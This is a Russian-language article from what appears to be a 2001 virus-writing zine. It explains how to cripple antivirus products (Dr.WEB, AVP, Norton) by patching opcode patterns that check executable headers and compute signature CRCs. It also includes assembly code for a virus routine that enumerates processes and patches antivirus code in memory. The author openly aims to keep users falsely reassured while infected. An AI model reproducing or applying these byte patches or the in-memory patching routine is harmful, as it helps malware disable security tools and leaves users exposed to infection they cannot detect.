·─T─┌O┐─T─┌A┐L···─Z┐┌0┐┌M┐┌B·i┌F─i┌C─┌A┐─T─i┌O┐┬N┬··························
│ │ │ │ ├─┤│ / │ ││││├┴┐┬├─ ┬│ ├─┤ │ ┬│ ││└┤ Issue #1, January-2001
··│·└─┘·│·│·│└─··└──└─┘│·│└─┘││··│└──│·│·│·│└─┘│·│··························
············································································
АНТИ-АНТИ-ВИРУС
············································································
Замечательная это вещь, когда код антивируса лежит в открытую... делай
с ним что хочешь.
Берутся антивирусные файлы (ими можно считать все EXE/DLL файлы, у
которых один из подкаталогов начинается на WEB, DRWEB и т.п.) и по одному
обрабатываются следующим образом:
3D 4D 5A 00 00 cmp eax, 'MZ'
3D 50 45 00 00 cmp eax, 'PE'
3D 4C 45 00 00 cmp eax, 'LE'
3D 4E 45 00 00 cmp eax, 'NE'
заменяется на
3D nn nn nn nn cmp eax, nnn
В результате антивирус теряет способность проверять EXE, PE, VXD, и
т.п. файлы, а остаются ему одни комовики. Ну и хуй сними. Главное, что
EICAR по прежнему детектируется. ;-)
Далее, ищутся в файле стандартные куски подсчитывающие CRC для
вирусных сигнатур, и тоже слегка изменяются.
Dr.WEB:
30 D6 xor dh, dl
30 E2 xor dl, ah
30 C4 xor ah, al
.. ..
30 F0 xor al, dh --> 00 F0 add al, dh
AVP/1:
8D 14 00 lea edx, [eax][eax]
8A 19 mov bl, [ecx]
33 D3 xor edx, ebx
33 C2 xor eax, edx --> 33 C0 xor eax, eax
AVP/2:
8B D0 mov edx, eax
33 DB xor ebx, ebx
8A 19 mov bl, [ecx]
C1 E2 08 shl edx, 8
33 D3 xor edx, ebx
33 C2 xor eax, edx --> 33 C0 xor eax, eax
AVPI,crc32
C1 E8 08 shr eax, 8
8B 14 95 xx xx xx xx mov edx, crc32tab[edx*4]
33 C2 xor eax, edx --> 33 c0 xor eax,eax
C1 E9 08 shr ecx, 8
8B 04 85 xx xx xx xx mov eax, crc32tab[eax*4]
33 C1 xor eax, ecx --> 33 c0 xor eax,eax
NAV
FF 75 xx push [ebp+xx]
8D 45 nn lea eax, [ebp+virus_id]
50 push eax
FF 75 xx push [ebp+xx]
E8 xx xx xx xx call xxxxxxxx ; copy_virus_name
83[C4 0C add esp, 0Ch
FF 75]xx push [ebp+xx]
E8 xx xx xx xx call xxxxxxxx ; _VLReleaseVirusHandle@4
8B 45 nn mov eax, [ebp+virus_id] <-- 33 C0 / 90
EB xx jmp xxxxxxxx (xor eax, eax / nop)
В результате антивир теряет способность узнавать свои собственные
записи о вирусных сигнатурах, и не может детектировать вообще ничего.
Затем ищутся такие вещи, как первый (не нулевой) дворд из стандартных
таблиц crc16/crc32. И вся таблица зануляется. В результате сканер теряет
способность распаковывать архивы, а ревизор перестает орать на
модифицированные файлы.
Все эти веселые вещи были когда-то реализованы в тулзе под названием
AAV, и обозвана она была как Trojan.AAVPatch.
Однако, антивирусники потихоньку умнеют, и теперь один за другим
начинают файлики свои запаковывать. Как быть?
А выход простой. При запуске вируса сканируются все процессы и
производится патч антивирусов в памяти:
WALKER_SIZE equ 262144 ; 256K размер буфера
call walker_main
...
th_pe_struc struc ; toolhelp Process info Entry
th_pe_dwSize dd ?
th_pe_cntUsage dd ?
th_pe_th32ProcessID dd ? ; this process
th_pe_th32DefaultHeapID dd ? ; ULONG_PTR
th_pe_th32ModuleID dd ? ; associated exe
th_pe_cntThreads dd ?
th_pe_th32ParentProcessID dd ? ; this process's parent process
th_pe_pcPriClassBase dd ? ; Base priority of process's threads
th_pe_dwFlags dd ?
th_pe_szExeFile db 260 dup (?)
ends
mbi_struc struc
mbi_BaseAddress dd ? ; base address of region
mbi_AllocationBase dd ? ; allocation base address
mbi_AllocationProtect dd ? ; initial access protection
mbi_RegionSize dd ? ; size, in bytes, of region
mbi_State dd ? ; committed, reserved, free
mbi_Protect dd ? ; current access protection
mbi_Type dd ? ; type of pages
ends
walker_main proc pascal
local snaphandle:DWORD
local th_pe:BYTE:size th_pe_struc
local mbi:BYTE:size mbi_struc
pusha
; выделим буфер
push WALKER_SIZE
push 0
call GlobalAlloc
xchg edi, eax
; используем TOOLHELP32.DLL
push 0
push 2 ; TH32CS_SNAPPROCESS
call CreateToolhelp32Snapshot
cmp eax, -1
je __exit
mov snaphandle, eax
mov th_pe.th_pe_dwSize, size th_pe_struc
; найдем процесс
lea eax, th_pe
push eax
push snaphandle
call Process32First
__processcycle: or eax, eax
jz __processdone
; проверим расширение
lea edx, th_pe.th_pe_szExeFile
__scan0: mov al, [edx]
inc edx
or al, al
jnz __scan0
mov eax, [edx-5]
or eax, 20202000h
neg eax
cmp eax, -'exe.'
jne __nextprocess
; проверим, чтобы не текущий процесс
call GetCurrentProcessId
cmp eax, th_pe.th_pe_th32ProcessID
je __nextprocess
; откроем на запись
push th_pe.th_pe_th32ProcessID ; process id
push 0
push 001F0FFFh ; PROCESS_ALL_ACCESS
call OpenProcess
cmp eax, -1
je __nextprocess
xchg ebx, eax ; process handle
; сканируем все блоки памяти процесса
mov esi, 00400000h ; start address
__querycycle: lea eax, mbi
push size mbi_struc
push eax
push esi ; address
push ebx ; process handle
call VirtualQueryEx
cmp eax, size mbi_struc
jne __querydone
; проверяем, чтоб блок был подгружен в память
mov eax, mbi.mbi_State
cmp eax, 1000h ; MEM_COMMIT
jne __nextregion
; патчим блок памяти
mov ecx, mbi.mbi_RegionSize
call walker_fuxor
__nextregion: add esi, mbi.mbi_RegionSize
cmp esi, 80000000h ; end address
jb __querycycle
__querydone: push ebx ; process handle
call CloseHandle
__nextprocess: lea eax, th_pe
push eax
push snaphandle
call Process32Next
jmp __processcycle
__processdone: push snaphandle
call CloseHandle
__exit: push edi
call GlobalFree
popa
ret
endp
; разбиваем большой блок памяти на куски и передаем дальше.
; это нужно для того, чтобы не возник трэш и прочие глюки
; action: split big block (size in ECX) into small blocks (calls)
; input: EBX=process handle
; ESI=memory block address
; ECX=memory block size
; EDI=temp block
walker_fuxor: pusha
mov eax, ecx
__cycle: mov ecx, WALKER_SIZE
cmp ecx, eax
jbe __be
mov ecx, eax
__be:
call walker_fuxor_real
add esi, ecx
sub eax, ecx
jnz __cycle
popa
retn
; патчим блок памяти, длина блока заведомо не больше WALKER_SIZE
; input: EBX=process handle
; ESI=memory block address
; ECX=memory block size
; EDI=temp block
walker_fuxor_real: pusha
call mem_read
jc __exit
; EDI=buffer, ECX=buffer size
...патчим буфер...
call mem_write ; update buffer if patched
__exit: popa
retn
; процедура чтения памяти из контекста процесса
mem_read: pusha
push 0
push esp ; @bytesread
push ecx ; bytes to read
push edi ; write to
push esi ; address (read from)
push ebx ; process handle
call ReadProcessMemory
pop ecx
or eax, eax
jz __bad
cmp ecx, [esp+6*4] ; pusha.ecx
jne __bad
popa
clc
retn
__bad: popa
stc
retn
; процедура записи памяти в контекст процесса
mem_write: pusha
push 0 ; @byteswritten
push ecx ; bytes to write
push edi ; read from
push esi ; address (write to)
push ebx ; process handle
call WriteProcessMemory
popa
retn
Вообще, технология защиты от антивирусов такая же, как и от вирусов,
ну, разве что кроме ревизоров. То есть можно сделать: сканер (на диске/в
памяти), монитор, гвард, эвристик... поиск в архивах...
При этом антивир прямо-таки необходимо пропатчить, а не убить: в
результате юзер будет успокаивать свою совесть выкачивая новые апдейты к
пропатченому антивиру, и всем будет рулез.
············································································